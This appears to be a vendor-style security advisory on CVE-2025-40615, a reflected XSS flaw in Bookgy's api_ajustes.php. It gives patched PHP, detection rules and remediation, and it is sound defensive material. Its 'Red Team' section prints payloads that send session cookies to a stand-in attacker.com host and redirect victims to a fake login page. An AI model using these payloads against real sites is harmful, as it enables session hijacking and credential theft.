CVE-2025-40615

Executive Summary

CVE-2025-40615 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Bookgy application. The flaw resides in the /api/api_ajustes.php endpoint, where the TEXTO parameter is not properly sanitized before being reflected back to the user. An attacker can craft a malicious URL containing JavaScript payloads in the TEXTO parameter. When a victim clicks the link, the script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement.

The vulnerability is unpatched by the vendor. Public proof-of-concept (PoC) code exists, making active exploitation likely. The CVSS v3.1 base score is 6.1 (Medium), but the lack of authentication requirements and the ability to target any user elevates the risk in real-world scenarios.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a custom PHP application (Bookgy). No supply chain component is affected.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click the link.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Base Score: 6.1 (Medium)
Temporal Score: 5.9 (Medium) – Due to unpatched status and public PoC.
Environmental Score: Varies – Higher if the application handles sensitive data.

Threat Level: High – Public exploit code, no patch, and low attack complexity.

Deep Dive & Mechanics

The vulnerability is a classic Reflected XSS in the TEXTO parameter of /api/api_ajustes.php. The application likely takes the value of TEXTO and directly embeds it into the HTTP response without proper encoding or sanitization.

Attack Flow:

1. Attacker crafts a URL: https://target.com/api/api_ajustes.php?TEXTO=<script>alert('XSS')</script>
2. Attacker sends the link to the victim via email, social media, or other channels.
3. Victim clicks the link while authenticated to the Bookgy application.
4. The server reflects the payload in the response, executing the JavaScript in the victim's browser.
5. The script can steal session cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Root Cause: Lack of output encoding for user-supplied input in the TEXTO parameter.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

<?php
$texto = $_GET['TEXTO'];
echo "You entered: " . $texto;
?>

Patched Code (PHP):

<?php
$texto = $_GET['TEXTO'];
echo "You entered: " . htmlspecialchars($texto, ENT_QUOTES, 'UTF-8');
?>

The patched version uses htmlspecialchars() to encode special HTML characters, preventing script execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A vulnerable Bookgy instance (e.g., local Docker container or test server).
• A web browser or curl.

Step 1: Basic XSS Test

curl "http://target.com/api/api_ajustes.php?TEXTO=<script>alert(1)</script>"

If the response contains the script tag unescaped, the vulnerability is present.

Step 2: Session Hijacking Payload

<script>
document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>

URL-encoded:

http://target.com/api/api_ajustes.php?TEXTO=%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fattacker.com%2Fsteal.php%3Fcookie%3D%27%2Bdocument.cookie%3C%2Fscript%3E

Step 3: Phishing Redirection

<script>
window.location='http://attacker.com/fake-login.html';
</script>

Blue Team (Defense & Detection)

Detection:

• Monitor web server logs for requests to /api/api_ajustes.php containing <script> tags or encoded variants.
• Use WAF rules to block common XSS patterns in the TEXTO parameter.

Mitigation:

• Apply input validation: allow only alphanumeric characters if possible.
• Apply output encoding: use htmlspecialchars() or equivalent.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /api/api_ajustes.php with TEXTO parameter containing <script>, onerror, onload, or base64-encoded JavaScript.
  • Outbound connections to attacker-controlled domains from the victim's browser.

• File IOCs:

  • Log entries showing reflected XSS payloads in the TEXTO parameter.

• Behavioral IOCs:

  • Unexpected redirects to external domains.
  • Unauthorized session token usage.

Detection Engineering

YARA Rule

rule CVE_2025_40615_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting CVE-2025-40615 in Bookgy"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-40615"
    strings:
        $xss_payload = /TEXTO=.*(<script|<img|onerror|onload|javascript:)/
    condition:
        $xss_payload
}

Sigma Rule

title: Reflected XSS Attempt on Bookgy api_ajustes.php
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS payloads in the TEXTO parameter of Bookgy's api_ajustes.php
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        c-uri|contains: '/api/api_ajustes.php'
        cs-uri-query|contains: 'TEXTO='
        cs-uri-query|re: '(?i)(<script|<img|onerror|onload|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of HTML tags in parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-40615 Reflected XSS in Bookgy api_ajustes.php"; flow:to_server,established; content:"/api/api_ajustes.php"; http_uri; content:"TEXTO="; http_uri; pcre:"/(<script|<img|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply Input Validation: Restrict the TEXTO parameter to only expected characters (e.g., alphanumeric).
2. Output Encoding: Use htmlspecialchars() or equivalent before reflecting user input.
3. Web Application Firewall (WAF): Deploy rules to block XSS patterns in the TEXTO parameter.
4. Content Security Policy (CSP): Add script-src 'self' header to prevent inline script execution.

Long-Term Fix:

• The vendor (Bookgy) must release a patch that properly sanitizes the TEXTO parameter.
• Until a patch is available, consider disabling the vulnerable endpoint or implementing a reverse proxy with XSS filtering.

Workaround:

• If the TEXTO parameter is not critical, remove its usage from the application logic.

Valters IT
Securing Digital Frontiers